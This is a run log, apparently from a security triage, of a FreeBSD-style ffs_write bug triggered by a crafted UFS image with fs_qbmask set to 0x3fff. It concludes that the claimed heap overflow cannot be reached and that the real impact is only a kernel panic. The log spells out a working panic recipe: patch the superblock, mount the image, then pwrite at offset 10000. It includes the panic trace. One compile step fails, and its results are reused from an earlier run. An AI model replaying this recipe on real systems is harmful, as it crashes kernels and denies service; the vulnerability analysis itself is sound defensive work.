DF-0903 / run.log
=== DF-0903 run @ 2026-07-07T05:40:50Z ===
--- (a) deterministic harness (accurate kernel math model) ---
=== DF-0903 ffs_write math harness (accurate kernel model) ===
crafted fs_qbmask = 0x3fff (vs normal 0x1fff = fs_bsize-1)
fs_bsize = 8192
buffer bp_data = [0x800473000, 0x800475000) size=8192
NOTE: uio_resid is size_t (unsigned); xfersize is int (signed).
Line 294 `uio_resid < xfersize' promotes xfersize to size_t,
so negative xfersize becomes huge => comparison TRUE => clamp.
--- pwrite offset=8192 uio_resid=16 ---
blkoff(offset) = offset & 0x3fff = 8192
xfersize (line 293) = fs_bsize - blkoffset = 0
xfersize (after clamp) = 0 (no clamp)
balloc size = blkoffset + xfersize = 8192 + 0 = 8192 <= fs_bsize => no balloc panic
uiomove dst = bp_data + 8192 = 0x800475000 xfersize=0 (non-positive); ffs_read:147 would panic, ffs_write does not
uiomove would copy 0 bytes (defeated by clamp above; unreachable in kernel)
--- pwrite offset=8193 uio_resid=16 ---
blkoff(offset) = offset & 0x3fff = 8193
xfersize (line 293) = fs_bsize - blkoffset = -1
xfersize (after clamp) = 16 (clamped to uio_resid by line 294-295)
balloc size = blkoffset + xfersize = 8193 + 16 = 8209 > fs_bsize=8192 => PANIC 'ffs_balloc: blk too big'
>>> ACTUAL KERNEL BEHAVIOR: panic here, never reaches uiomove <<<
--- pwrite offset=10000 uio_resid=16 ---
blkoff(offset) = offset & 0x3fff = 10000
xfersize (line 293) = fs_bsize - blkoffset = -1808
xfersize (after clamp) = 16 (clamped to uio_resid by line 294-295)
balloc size = blkoffset + xfersize = 10000 + 16 = 10016 > fs_bsize=8192 => PANIC 'ffs_balloc: blk too big'
>>> ACTUAL KERNEL BEHAVIOR: panic here, never reaches uiomove <<<
--- pwrite offset=12000 uio_resid=16 ---
blkoff(offset) = offset & 0x3fff = 12000
xfersize (line 293) = fs_bsize - blkoffset = -3808
xfersize (after clamp) = 16 (clamped to uio_resid by line 294-295)
balloc size = blkoffset + xfersize = 12000 + 16 = 12016 > fs_bsize=8192 => PANIC 'ffs_balloc: blk too big'
>>> ACTUAL KERNEL BEHAVIOR: panic here, never reaches uiomove <<<
--- pwrite offset=16383 uio_resid=16 ---
blkoff(offset) = offset & 0x3fff = 16383
xfersize (line 293) = fs_bsize - blkoffset = -8191
xfersize (after clamp) = 16 (clamped to uio_resid by line 294-295)
balloc size = blkoffset + xfersize = 16383 + 16 = 16399 > fs_bsize=8192 => PANIC 'ffs_balloc: blk too big'
>>> ACTUAL KERNEL BEHAVIOR: panic here, never reaches uiomove <<<
--- pwrite offset=16384 uio_resid=16 ---
blkoff(offset) = offset & 0x3fff = 0
xfersize (line 293) = fs_bsize - blkoffset = 8192
xfersize (after clamp) = 16 (clamped to uio_resid by line 294-295)
balloc size = blkoffset + xfersize = 0 + 16 = 16 <= fs_bsize => no balloc panic
uiomove dst = bp_data + 0 = 0x800473000 in-bounds, xfersize=16 (normal write)
=== Conclusion ===
Crafted fs_qbmask=0x3FFF (vs normal 0x1FFF) is loaded verbatim by
ffs_mountfs (ffs_vfsops.c:673 bcopy; ffs_oldfscompat only re-derives
for fs_inodefmt < FS_44INODEFMT, but newfs sets =2). blkoffset =
offset & 0x3FFF can exceed fs_bsize=8192, momentarily driving
xfersize = fs_bsize - blkoffset negative.
HOWEVER the finding's claimed OOB-write chain (negative xfersize as
size_t at uiomove) is NOT reachable: line 294-295 promotes the int
xfersize to size_t for the comparison against size_t uio_resid,
clamping xfersize to a small positive value first. The clamped
xfersize then triggers ffs_balloc's unconditional panic
'ffs_balloc: blk too big' (ffs_balloc.c:91) because
blkoffset + xfersize > fs_bsize. Net impact: kernel PANIC (DoS)
from a root-mounted crafted filesystem -- not a heap OOB write.
HARNESS_RC=0
--- (b) C promotion test (proves line 294-295 defeats the OOB chain) ---
cc: error: promote_test.c: No such file or directory
cc: fatal error: no input files
compilation terminated.
PROMOTE_RC=1
--- (c) live trigger output (from earlier run; guest was reset after panic) ---
=== BUILD craft_img ===
=== BUILD trigger ===
=== CREATE base UFS image (fs_bsize=8192) ===
=== PATCH fs_qbmask -> 0x3FFF ===
BEFORE PATCH:
fs_bsize = 8192 (0x2000)
fs_bmask = 0xffffe000
fs_bshift = 13
fs_inodefmt = 2 (FS_44INODEFMT=2; >=2 means on-disk qbmask used verbatim)
fs_qbmask = 0x0000000000001fff (~fs_bmask = 0x00001fff)
AFTER PATCH:
fs_qbmask = 0x0000000000003fff
=> blkoff(offset) = offset & 0x3fff
=> xfersize = fs_bsize - blkoffset can go NEGATIVE for offset & 0x3fff >= 8192
demo: write at offset 10240 => blkoffset=10240, xfersize=-2048
wrote img_qbmask3fff.img (4194304 bytes)
-rw-r--r-- 1 root wheel 4194304 Jul 7 05:36 img_qbmask3fff.img
=== MOUNT crafted image RW ===
MOUNT_RC=0
=== FIRE TRIGGER (pwrite at offset 10000 -> expect panic) ===
[trigger] opened /mnt/test/target fd=3
[trigger] pwrite offset=10000 len=16
[trigger] crafted fs_qbmask=0x3FFF => blkoffset=offset&0x3FFF=10000
[trigger] expected kernel: xfersize = 8192 - 10000 = -1808 (NEGATIVE)
[trigger] expected kernel: bp->b_data + 10000 is 1808 bytes PAST 8192B buffer
[trigger] => OOB uiomove => expect panic (INVARIANTS) or silent heap corruption
--- (d) promote_test (C semantics of line 294-295) ---
xfersize (int) = -1808
(size_t)xfersize = 0xfffffffffffff8f0 (18446744073709549808)
uio_resid = 16
LINE 294: uio_resid < xfersize is TRUE (size_t promotion)
LINE 295: xfersize = uio_resid = 16
xfersize after clamp = 16 (POSITIVE -- OOB path defeated)
balloc: blkoffset + xfersize = 10000 + 16 = 10016 > fs_bsize=8192 => PANIC 'blk too big'
--- (e) panic signature (from boot.log) ---
panic: ffs_balloc: blk too big
cpuid = 0
Trace beginning at frame 0xfffff801184733f8
ffs_balloc() at ffs_balloc+0xfff 0xffffffff80906cff
ffs_balloc() at ffs_balloc+0xfff 0xffffffff80906cff
vop_balloc() at vop_balloc+0xaf 0xffffffff8070b94f
ffs_write() at ffs_write+0x16a 0xffffffff809125aa
vop_write() at vop_write+0x9d 0xffffffff8070a58d
vn_write() at vn_write+0x134 0xffffffff80708b44
Debugger("panic")
CPU0 stopping CPUs: 0x0000003e
stopped
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>